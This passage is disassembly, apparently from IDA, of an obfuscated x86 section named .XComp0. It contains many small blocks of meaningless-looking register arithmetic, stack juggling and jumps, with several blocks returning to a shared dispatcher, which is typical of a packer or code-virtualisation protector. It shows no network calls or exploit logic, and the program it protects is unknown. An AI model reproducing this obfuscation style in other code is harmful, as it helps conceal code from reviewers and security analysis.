		sub	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_58EDE5
; ---------------------------------------------------------------------------


loc_5906D9:				; CODE XREF: .XComp0:005900F1j
		dec	esi
		add	esi, 3277458Ch
		and	esi, 1542170Fh
		sub	esi, 0DBAFE3E3h
		mov	edi, esi
		pop	esi
		add	edi, 602F55CEh
		sub	edi, 1A341B1Dh
		mov	esi, edi
		pop	edi
		add	eax, 7CEE0A3Dh
		add	eax, esi
		sub	eax, 7CEE0A3Dh
		jmp	loc_585493
; ---------------------------------------------------------------------------


loc_59070F:				; CODE XREF: .XComp0:0059490Ej
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5965BB
; ---------------------------------------------------------------------------


loc_59071A:				; CODE XREF: .XComp0:00591F28j
		pop	ebx
		pop	edx
		jmp	loc_5909D9
; ---------------------------------------------------------------------------


loc_590721:				; CODE XREF: .XComp0:005860C5j
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	eax
		mov	eax, 69D9144Fh
		mov	edi, eax
		jmp	loc_58792E
; ---------------------------------------------------------------------------


loc_590735:				; CODE XREF: .XComp0:00584E94j
		pop	esp
		jmp	loc_58A172
; ---------------------------------------------------------------------------


loc_59073B:				; CODE XREF: .XComp0:00591F21j
		mov	ecx, 7A402BF5h
		dec	ecx
		push	ebp
		mov	ebp, 3D3D060Ah
		not	ebp
		or	ebp, 75CD490Ah
		shr	ebp, 3
		or	ebp, 4B0676E2h
		sub	ebp, 1082E077h
		and	ecx, ebp
		jmp	loc_58D1F5
; ---------------------------------------------------------------------------


loc_590765:				; CODE XREF: .XComp0:00594755j
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_593BFA
; ---------------------------------------------------------------------------


loc_590772:				; CODE XREF: .XComp0:00587C26j
		push	edi
		mov	edi, 5BE25C37h
		add	ebx, edi
		jmp	loc_590DD7
; ---------------------------------------------------------------------------


loc_59077F:				; CODE XREF: .XComp0:00586FECj
		mov	cl, 0B8h
		sub	bh, cl
		push	dword ptr [esp]
		jmp	loc_593A29
; ---------------------------------------------------------------------------


loc_59078B:				; CODE XREF: .XComp0:00586A67j
		mov	eax, 507C5338h
		sub	eax, 1
		neg	eax
		jmp	loc_59700B
; ---------------------------------------------------------------------------


loc_59079C:				; CODE XREF: .XComp0:0058BC40j
		add	esp, 4
		add	edi, 4F371ED0h
		jmp	loc_598D66
; ---------------------------------------------------------------------------


loc_5907AA:				; CODE XREF: .XComp0:0058DA87j
		add	esp, 4
		add	bl, al
		push	ecx
		push	edx
		mov	dh, 9Bh
		mov	cl, dh
		pop	edx
		jmp	loc_5867AC
; ---------------------------------------------------------------------------


loc_5907BE:				; CODE XREF: .XComp0:00590147j
		mov	ecx, 2
		add	edi, ecx
		jmp	loc_585B07
; ---------------------------------------------------------------------------


loc_5907CA:				; CODE XREF: .XComp0:005897A0j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	0
		jmp	loc_584313
; ---------------------------------------------------------------------------


loc_5907DD:				; CODE XREF: .XComp0:00590DF2j
		sub	edx, 4B0A3AA8h
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	740Ah
		jmp	loc_58F634
; ---------------------------------------------------------------------------


loc_5907F8:				; CODE XREF: .XComp0:00597FFAj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_58A011
; ---------------------------------------------------------------------------


loc_590812:				; CODE XREF: .XComp0:00587F24j
		inc	ecx
		shl	ecx, 3
		push	edx
		push	5B81310h
		pop	edx
		push	ecx
		push	edi
		mov	edi, 1A2F69EAh
		xor	edi, 724565EAh
		jmp	loc_58953C
; ---------------------------------------------------------------------------


loc_59082F:				; CODE XREF: .XComp0:005940F7j
		mov	ebx, 0
		add	ebx, eax
		mov	[ebx], cl
		pop	ebx
		jmp	loc_58ABFE
; ---------------------------------------------------------------------------


loc_59083E:				; CODE XREF: .XComp0:00590FB4j
		mov	ebx, ecx
		jmp	loc_590FE6
; ---------------------------------------------------------------------------


loc_590845:				; CODE XREF: .XComp0:00589CC1j
		xor	ebx, edi
		push	ecx
		push	ebx
		jmp	loc_5840FF
; ---------------------------------------------------------------------------


loc_59084E:				; CODE XREF: .XComp0:00596418j
		push	edx
		mov	edx, 4ABA16C0h
		jmp	loc_58F5E5
; ---------------------------------------------------------------------------


loc_590859:				; CODE XREF: .XComp0:005956B6j
		mov	[esp], ebx
		push	edi
		mov	edi, 25E64F49h
		mov	ebx, edi
		pop	edi
		push	esi
		mov	esi, 0
		add	esi, 4F5A7F32h
		push	edx
		jmp	loc_583E43
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_59500C
; ---------------------------------------------------------------------------


loc_590885:				; CODE XREF: .XComp0:0058C27Fj
		pop	eax
		add	esp, 4
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_5897DC
; ---------------------------------------------------------------------------


loc_590896:				; CODE XREF: .XComp0:005916A1j
		shl	dl, 3
		push	ebx
		mov	bh, 0FFh
		sub	dl, bh
		pop	ebx
		xor	dl, ah
		xor	ah, dl
		xor	dl, ah
		sub	ah, 1
		jmp	loc_58D587
; ---------------------------------------------------------------------------


loc_5908AD:				; CODE XREF: .XComp0:005844D5j
		mov	al, dh
		push	dword ptr [esp]
		jmp	loc_586E7B
; ---------------------------------------------------------------------------


loc_5908B7:				; CODE XREF: .XComp0:0058FD35j
		dec	ecx
		xchg	ecx, edi
		sub	edi, 1FAA48AFh
		jmp	loc_58A006
; ---------------------------------------------------------------------------


loc_5908C5:				; CODE XREF: .XComp0:00585BABj
		pop	edx
		add	esp, 4
		add	esi, 2
		jmp	loc_58B433
; ---------------------------------------------------------------------------


loc_5908D4:				; CODE XREF: .XComp0:00589CECj
		pop	ecx
		not	ah
		jmp	loc_592492
; ---------------------------------------------------------------------------


loc_5908DC:				; CODE XREF: .XComp0:00597A9Fj
		mov	[esp], ecx
		mov	ecx, 47AC3159h
		xor	eax, ecx
		jmp	loc_58B5CF
; ---------------------------------------------------------------------------


loc_5908EB:				; CODE XREF: .XComp0:00596E59j
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_593CCD
; ---------------------------------------------------------------------------


loc_59090C:				; CODE XREF: .XComp0:00595719j
		pop	ebp
		or	ecx, eax
		pop	eax
		sub	esp, 4
		jmp	loc_5900C9
; ---------------------------------------------------------------------------


loc_59091B:				; CODE XREF: .XComp0:00590D36j
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [edi+24h]
		inc	dword ptr [esp]
		jmp	loc_58D6EC
; ---------------------------------------------------------------------------


loc_59092A:				; CODE XREF: .XComp0:00598289j
		dec	edx
		jmp	loc_597EAB
; ---------------------------------------------------------------------------


loc_590930:				; CODE XREF: .XComp0:00585B5Fj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_590954:				; CODE XREF: .XComp0:0058BF1Ej
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		pop	ebx
		push	709Ch
		mov	[esp], esi
		push	edi
		mov	edi, 507B2660h
		push	ebp
		mov	ebp, 7DA26CE6h
		add	ebp, 0A673BD50h
		xor	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 6C043DC9h
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_594D1C
; ---------------------------------------------------------------------------


loc_59098E:				; CODE XREF: .XComp0:00587684j
		push	dword ptr [esp]
		pop	edi
		push	56A1h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_595AF5
; ---------------------------------------------------------------------------


loc_5909C6:				; CODE XREF: .XComp0:00594BDFj
		push	dword ptr [edx]
		mov	ecx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_58B95D
; ---------------------------------------------------------------------------


loc_5909D9:				; CODE XREF: .XComp0:0059071Cj
		mov	ebx, [esp]
		jmp	loc_590009
; ---------------------------------------------------------------------------


loc_5909E1:				; CODE XREF: .XComp0:00587092j
		mov	edx, 31AE7B0Dh
		sub	ecx, edx
		pop	edx
		jmp	loc_584334
; ---------------------------------------------------------------------------


loc_5909EE:				; CODE XREF: .XComp0:0058B753j
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_587981
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_590A1E:				; CODE XREF: .XComp0:0058EBCEj
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 0FC842A03h
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		mov	ebp, ebx
		mov	eax, ebp
		jmp	loc_58A4C5
; ---------------------------------------------------------------------------


loc_590A3C:				; CODE XREF: .XComp0:00584A89j
		pop	ebp
		push	edx
		jmp	loc_584B45
; ---------------------------------------------------------------------------


loc_590A43:				; CODE XREF: .XComp0:0059304Dj
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58CBFA
; ---------------------------------------------------------------------------


loc_590A52:				; CODE XREF: .XComp0:00592856j
		shr	eax, 7
		add	eax, 3BF8273Fh
		jmp	loc_593452
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_590A66:				; CODE XREF: .XComp0:0058A0EBj
		add	esp, 4
		or	eax, eax
		jz	loc_590057
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5978A8
; ---------------------------------------------------------------------------


loc_590A85:				; CODE XREF: .XComp0:0058BDFDj
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_58A5EF
; ---------------------------------------------------------------------------


loc_590A94:				; CODE XREF: .XComp0:005912DBj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_584862
; ---------------------------------------------------------------------------


loc_590AA0:				; CODE XREF: .XComp0:00598089j
		sub	esi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 30C9101Eh
		xor	ebp, 5E7C129Fh
		jmp	loc_598EED
; ---------------------------------------------------------------------------


loc_590AB4:				; CODE XREF: .XComp0:0058B730j
		xor	ecx, 0E3A78538h
		jmp	loc_597FC9
; ---------------------------------------------------------------------------


loc_590ABF:				; CODE XREF: .XComp0:0058D8BFj
		add	[esp+2], si
		jmp	loc_58C7BA
; ---------------------------------------------------------------------------


loc_590AC9:				; CODE XREF: .XComp0:0058CCDFj
		mov	[esp], esp
		jmp	loc_588DC5
; ---------------------------------------------------------------------------


loc_590AD1:				; CODE XREF: .XComp0:00588ABCj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_595385
; ---------------------------------------------------------------------------


loc_590ADA:				; CODE XREF: .XComp0:0058A319j
		pop	ebp
		shl	ebp, 2
		jmp	loc_58FEE7
; ---------------------------------------------------------------------------


loc_590AE3:				; CODE XREF: .XComp0:0058ABABj
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_593319
; ---------------------------------------------------------------------------


loc_590AF0:				; CODE XREF: .XComp0:0058739Ej
		mov	[esp], esi
		jmp	loc_587490
; ---------------------------------------------------------------------------


loc_590AF8:				; CODE XREF: .XComp0:005898F6j
		add	dword ptr [esp+4], 6DBC2943h
		sub	[esp+4], ebp
		sub	dword ptr [esp+4], 6DBC2943h
		jmp	loc_592819
; ---------------------------------------------------------------------------


loc_590B11:				; CODE XREF: .XComp0:00594D3Fj
		mov	dh, 0FDh
		or	dh, 89h
		neg	dh
		and	dh, 69h
		sub	dh, 0FFh
		jmp	loc_58C3C7
; ---------------------------------------------------------------------------


loc_590B23:				; CODE XREF: .XComp0:005868B8j
		mov	esi, 7B9B239Fh
		xor	esi, 470C68BAh
		add	esi, 6D322028h
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_5873D3
; ---------------------------------------------------------------------------


loc_590B3E:				; CODE XREF: .XComp0:0058D6CEj
		add	bl, ah
		add	bl, 6Dh
		add	bl, 47h
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_591FAC
; ---------------------------------------------------------------------------


loc_590B55:				; CODE XREF: .XComp0:0058B6B0j
		add	ecx, 2
		jmp	loc_58D3AA
; ---------------------------------------------------------------------------


loc_590B60:				; CODE XREF: .XComp0:005942E7j
		add	ebp, eax
		mov	eax, [esp]
		push	5118h
		mov	[esp], eax
		jmp	loc_58D561
; ---------------------------------------------------------------------------


loc_590B72:				; CODE XREF: .XComp0:0058A063j
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5860A8
; ---------------------------------------------------------------------------


loc_590B89:				; CODE XREF: .XComp0:0058CB73j
		xor	ebx, 67414C5Eh
		jmp	loc_5937C3
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		mov	bh, 84h
		and	bh, 59h
		push	bx
		not	byte ptr [esp+1]
		pop	bx
		add	bh, 42h
		push	ecx
		mov	ch, 93h
		jmp	loc_588CEB
; ---------------------------------------------------------------------------


loc_590BAE:				; CODE XREF: .XComp0:00595A9Aj
		shr	esi, 6
		not	esi
		neg	esi
		neg	esi
		xor	esi, 37035148h
		add	esi, 8C59FEEFh
		mov	edx, esi
		jmp	loc_58E13E
; ---------------------------------------------------------------------------


loc_590BCA:				; CODE XREF: .XComp0:0058AED9j
		mov	[esp], ebx
		jmp	loc_598B9C
; ---------------------------------------------------------------------------


loc_590BD2:				; CODE XREF: .XComp0:00587A22j
		push	edx
		mov	edx, 0B8F3837h
		jmp	loc_597CDD
; ---------------------------------------------------------------------------


loc_590BDD:				; CODE XREF: .XComp0:005968AAj
		mov	ebx, 0B5431260h
		jmp	loc_58FE5D
; ---------------------------------------------------------------------------


loc_590BE7:				; CODE XREF: .XComp0:0058C9B9j
		shr	ebp, 7
		or	ebp, 2775DD8h
		xor	ebp, 3DB3BE2Fh
		mov	ebx, ebp
		pop	ebp
		jmp	loc_58A96A
; ---------------------------------------------------------------------------


loc_590BFE:				; CODE XREF: .XComp0:00585F56j
		sub	ebx, ebp
		sub	ebx, 2E896EC9h
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		push	2ABBh
		mov	[esp], edi
		jmp	loc_5949BC
; ---------------------------------------------------------------------------


loc_590C1D:				; CODE XREF: .XComp0:00586CF4j
		pop	ebp
		push	ecx
		jmp	loc_586E1A
; ---------------------------------------------------------------------------


loc_590C24:				; CODE XREF: .XComp0:00587A4Cj
		add	esp, 2
		push	edi
		mov	edi, esp
		jmp	loc_595844
; ---------------------------------------------------------------------------


loc_590C32:				; CODE XREF: .XComp0:0058F290j
		push	ecx
		jmp	loc_5930D4
; ---------------------------------------------------------------------------


loc_590C38:				; CODE XREF: .XComp0:005916A9j
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_58B38D
; ---------------------------------------------------------------------------


loc_590C44:				; CODE XREF: .XComp0:00589E29j
		add	esp, 4
		add	esp, 4
		push	0
		sub	byte ptr [esp],	73h
		sub	byte ptr [esp],	35h
		jmp	loc_58B4D0
; ---------------------------------------------------------------------------


loc_590C5F:				; CODE XREF: .XComp0:00595F03j
		not	edi
		xchg	edi, ebx
		xor	ebx, 49980C24h
		add	esi, ebx
		jmp	loc_592B86
; ---------------------------------------------------------------------------


loc_590C70:				; CODE XREF: .XComp0:00598450j
		pop	esi
		push	ecx
		push	0A9C448Dh
		mov	ecx, [esp]
		add	esp, 4
		inc	ecx
		xchg	ebx, ecx
		not	ebx
		jmp	loc_596D6A
; ---------------------------------------------------------------------------


loc_590C8A:				; CODE XREF: .XComp0:0058CCFBj
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_590C9C:				; CODE XREF: .XComp0:00584856j
		push	edi
		jmp	loc_588317
; ---------------------------------------------------------------------------


loc_590CA2:				; CODE XREF: .XComp0:00598293j
		shr	ebx, 8
		and	ebx, 2BB3B21h
		add	ebx, 0CD1B6552h
		sub	edi, ebx
		jmp	loc_5915E9
; ---------------------------------------------------------------------------


loc_590CB8:				; CODE XREF: .XComp0:0058C956j
		xor	esi, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_5922BD
; ---------------------------------------------------------------------------


loc_590CC4:				; CODE XREF: .XComp0:00592BE5j
		mov	ebp, 1
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5843F5
; ---------------------------------------------------------------------------


loc_590CDA:				; CODE XREF: .XComp0:005986E3j
		mov	ebp, 0D621EEA3h
		sub	esi, ebp
		jmp	loc_5946E0
; ---------------------------------------------------------------------------


loc_590CE6:				; CODE XREF: .XComp0:0058D2B0j
		add	ebx, 406E3703h
		sub	ebx, edx
		sub	ebx, 406E3703h
		push	edi
		push	ebp
		jmp	loc_585421
; ---------------------------------------------------------------------------


loc_590CFB:				; CODE XREF: .XComp0:00588709j
		mov	ebp, 89617Bh
		xor	esi, ebp
		pop	ebp
		jmp	loc_598F76
; ---------------------------------------------------------------------------


loc_590D08:				; CODE XREF: .XComp0:00594FF0j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0AB64D79h
		push	ecx
		push	ebp
		mov	ebp, 3DA74398h
		mov	ecx, ebp
		jmp	loc_58A101
; ---------------------------------------------------------------------------


loc_590D27:				; CODE XREF: .XComp0:0058CA63j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59091B
; ---------------------------------------------------------------------------


loc_590D3B:				; CODE XREF: .XComp0:0058CBD2j
		pop	ecx
		xor	edi, eax
		mov	eax, [esp]
		jmp	loc_5947BA
; ---------------------------------------------------------------------------


loc_590D46:				; CODE XREF: .XComp0:0058C080j
		xor	ebp, 2066250Fh
		sub	ebp, 1
		push	ebx
		push	esi
		push	60ED01ACh
		jmp	loc_598543
; ---------------------------------------------------------------------------


loc_590D5E:				; CODE XREF: .XComp0:0058BBE3j
		pop	edi
		add	eax, 6B2B605Fh
		sub	eax, ebp
		jmp	loc_584BA5
; ---------------------------------------------------------------------------


loc_590D6B:				; CODE XREF: .XComp0:00596B40j
		add	eax, 3439469Ah
		jmp	loc_586105
; ---------------------------------------------------------------------------


loc_590D75:				; CODE XREF: .XComp0:00595A58j
		pop	dword ptr [esp]
		pop	esp
		add	edi, 4
		push	200h
		mov	[esp], ecx
		mov	ecx, 2
		add	edi, ecx
		jmp	loc_588FD3
; ---------------------------------------------------------------------------


loc_590D93:				; CODE XREF: .XComp0:005842EEj
		xor	eax, ecx
		xor	eax, ecx
		jmp	loc_588B5E
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_58C40F
; ---------------------------------------------------------------------------


loc_590DA5:				; CODE XREF: .XComp0:00585848j
		add	eax, 313872B3h
		jmp	loc_585128
; ---------------------------------------------------------------------------


loc_590DAF:				; CODE XREF: .XComp0:00587780j
		sub	al, cl
		push	ecx
		mov	ch, 0AEh
		jmp	loc_5922E9
; ---------------------------------------------------------------------------


loc_590DB9:				; CODE XREF: .XComp0:005846DAj
		add	esi, edi
		jmp	loc_589EB5
; ---------------------------------------------------------------------------


loc_590DC0:				; CODE XREF: .XComp0:0058FF6Bj
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_58D0F9
; ---------------------------------------------------------------------------


loc_590DD7:				; CODE XREF: .XComp0:0059077Aj
		pop	edi
		mov	edx, [esp]
		push	esi
		push	esp
		jmp	loc_58CD52
; ---------------------------------------------------------------------------


loc_590DE2:				; CODE XREF: .XComp0:0058480Bj
		xor	esi, 5298220Bh
		sub	edx, esi
		pop	esi
		sub	edx, 18044D52h
		dec	edx
		jmp	loc_5907DD
; ---------------------------------------------------------------------------


loc_590DF7:				; CODE XREF: .XComp0:005900C4j
		add	edx, 4
		jmp	loc_59775E
; ---------------------------------------------------------------------------


loc_590E02:				; CODE XREF: .XComp0:0058AF16j
		mov	[esp], ebp
		mov	ebp, 4
		sub	esi, 1D88379Ch
		add	esi, ebp
		push	edx
		push	ebp
		jmp	loc_58E96E
; ---------------------------------------------------------------------------


loc_590E19:				; CODE XREF: .XComp0:005949D2j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_590E43:				; CODE XREF: .XComp0:005952BAj
		add	esp, 4
		push	ebx
		push	esp
		push	dword ptr [esp]
		jmp	loc_59549A
; ---------------------------------------------------------------------------


loc_590E50:				; CODE XREF: .XComp0:00597A01j
		push	1310h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5887B0
; ---------------------------------------------------------------------------


loc_590E63:				; CODE XREF: .XComp0:0058D621j
		mov	esi, 9998274Dh
		jmp	loc_58B81E
; ---------------------------------------------------------------------------


loc_590E6D:				; CODE XREF: .XComp0:005886E9j
		push	eax
		mov	eax, 5F002B49h
		dec	eax
		and	eax, 7B5C7CEDh
		jmp	loc_58A366
; ---------------------------------------------------------------------------


loc_590E7E:				; CODE XREF: .XComp0:0058B931j
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_58B5BE
; ---------------------------------------------------------------------------


loc_590E89:				; CODE XREF: .XComp0:00596560j
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_58475D
; ---------------------------------------------------------------------------


loc_590EA2:				; CODE XREF: .XComp0:00591BFDj
		sub	al, bl
		push	bx
		jmp	loc_58DE97
; ---------------------------------------------------------------------------


loc_590EAB:				; CODE XREF: .XComp0:005874B7j
		mov	ebx, edx
		jmp	loc_58F1BD
; ---------------------------------------------------------------------------


loc_590EB2:				; CODE XREF: .XComp0:0058A89Bj
		mov	[esp], ecx
		push	ebx
		mov	bh, 16h
		mov	ch, bh
		pop	ebx
		xor	dl, ch
		pop	ecx
		jmp	loc_58520F
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		jmp	loc_593549
; ---------------------------------------------------------------------------


loc_590ECA:				; CODE XREF: .XComp0:00593EAFj
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5860CA
; ---------------------------------------------------------------------------


loc_590ED6:				; CODE XREF: .XComp0:00589F10j
		push	0
		sub	[esp], esi
		pop	esi
		sub	esi, 0C84BF279h
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 21FA571Dh
		shr	esi, 7
		add	esi, 0FFFFFFFFh
		xor	esi, 63F4ADh
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_58BC94
; ---------------------------------------------------------------------------


loc_590F18:				; CODE XREF: .XComp0:00594694j
		mov	ah, cl
		jmp	loc_5886EE
; ---------------------------------------------------------------------------


loc_590F1F:				; CODE XREF: .XComp0:005905E4j
		xchg	edi, [esp]
		pop	esp
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5913AC
; ---------------------------------------------------------------------------


loc_590F32:				; CODE XREF: .XComp0:0058FE0Bj
		pop	ecx
		add	esp, 4
		jmp	loc_585FC7
; ---------------------------------------------------------------------------


loc_590F3B:				; CODE XREF: .XComp0:0058742Bj
		not	esi
		or	esi, 16052807h
		xor	esi, 0FFFFFFFBh
		add	eax, esi
		pop	esi
		add	eax, 4
		jmp	loc_585078
; ---------------------------------------------------------------------------


loc_590F54:				; CODE XREF: .XComp0:0058A549j
		xor	edx, ebx
		pop	ebx
		xor	ebx, edx
		jmp	loc_5966CC
; ---------------------------------------------------------------------------


loc_590F5E:				; CODE XREF: .XComp0:00595787j
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_597643
; ---------------------------------------------------------------------------


loc_590F77:				; CODE XREF: .XComp0:005978E9j
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_590F82:				; CODE XREF: .XComp0:0059148Cj
		pop	ecx
		push	eax
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_58E214
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_5974A2
; ---------------------------------------------------------------------------


loc_590F95:				; CODE XREF: .XComp0:005847A7j
		and	eax, 558375A2h
		not	eax
		shr	eax, 1
		jmp	loc_58EEA5
; ---------------------------------------------------------------------------


loc_590FA3:				; CODE XREF: .XComp0:0058FD62j
		not	ecx
		jmp	loc_592A84
; ---------------------------------------------------------------------------


loc_590FAA:				; CODE XREF: .XComp0:005982BCj
		sub	edi, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_590FB3:				; CODE XREF: .XComp0:0058EBB6j
		pop	eax
		jmp	loc_59083E
; ---------------------------------------------------------------------------


loc_590FB9:				; CODE XREF: .XComp0:00593C32j
		xor	[esp], eax
		not	eax
		jmp	loc_5975D8
; ---------------------------------------------------------------------------


loc_590FC3:				; CODE XREF: .XComp0:00595DC7j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_584695
; ---------------------------------------------------------------------------


loc_590FDA:				; CODE XREF: .XComp0:0059033Bj
		add	esp, 4
		mov	ebx, [esp]
		push	ecx
		jmp	loc_591390
; ---------------------------------------------------------------------------


loc_590FE6:				; CODE XREF: .XComp0:00590840j
		pop	ecx
		shr	ebx, 3
		push	esi
		mov	esi, 35904327h
		push	ebx
		mov	ebx, 43B779E2h
		jmp	loc_5976DE
; ---------------------------------------------------------------------------


loc_590FFB:				; CODE XREF: .XComp0:0058F000j
		add	esp, 4
		jmp	loc_586A36
; ---------------------------------------------------------------------------


loc_591003:				; CODE XREF: .XComp0:00588234j
		sub	ch, 0FDh
		push	ax
		mov	al, 60h
		jmp	loc_5853AB
; ---------------------------------------------------------------------------


loc_59100F:				; CODE XREF: .XComp0:00593FD5j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59786B
; ---------------------------------------------------------------------------


loc_59101D:				; CODE XREF: .XComp0:0059583Fj
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_58DF38
; ---------------------------------------------------------------------------


loc_591030:				; CODE XREF: .XComp0:0059776Dj
		xor	edx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_5983BF
; ---------------------------------------------------------------------------


loc_59103C:				; CODE XREF: .XComp0:005899D2j
		pop	esp
		jmp	loc_58D089
; ---------------------------------------------------------------------------


loc_591042:				; CODE XREF: .XComp0:0058A62Ej
		sub	ebx, edx
		pop	edx
		jmp	loc_592788
; ---------------------------------------------------------------------------


loc_59104A:				; CODE XREF: .XComp0:00594798j
		shr	ah, 2
		add	ah, 0D6h
		add	dh, ah
		pop	eax
		add	al, 6Fh
		jmp	loc_58AA03
; ---------------------------------------------------------------------------


loc_59105A:				; CODE XREF: .XComp0:0059803Bj
		pop	ebp
		jmp	loc_597B9E
; ---------------------------------------------------------------------------


loc_591060:				; CODE XREF: .XComp0:00597A3Bj
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6FAF4DF7h
		sub	ebp, eax
		pop	eax
		add	ebx, 0C862900h
		sub	ebx, 6DC323F5h
		jmp	loc_5923A7
; ---------------------------------------------------------------------------


loc_591083:				; CODE XREF: .XComp0:0058B10Aj
		test	cx, ax
		pushf
		jmp	loc_597CAD
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, esp
		jmp	loc_585216
; ---------------------------------------------------------------------------


loc_591094:				; CODE XREF: .XComp0:00597E49j
		add	ebx, eax
		sub	ebx, 50AA1E6Ch
		jmp	loc_59208A
; ---------------------------------------------------------------------------


loc_5910A1:				; CODE XREF: .XComp0:00597032j
		push	di
		jmp	loc_58CDEE
; ---------------------------------------------------------------------------


loc_5910A8:				; CODE XREF: .XComp0:0058C2F2j
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 735C228Eh
		add	edx, ebx
		jmp	loc_591222
; ---------------------------------------------------------------------------


loc_5910C0:				; CODE XREF: .XComp0:00596C28j
		push	ecx
		mov	ecx, 188E169Ch
		xor	[esp+4], ecx
		pop	ecx
		pop	edi
		xor	edi, 188E169Ch
		pop	ecx
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, edx
		pop	edx
		or	eax, eax
		jnz	loc_584765
		push	edi
		push	ebp
		mov	ebp, 64131E83h
		jmp	loc_589EE4
; ---------------------------------------------------------------------------


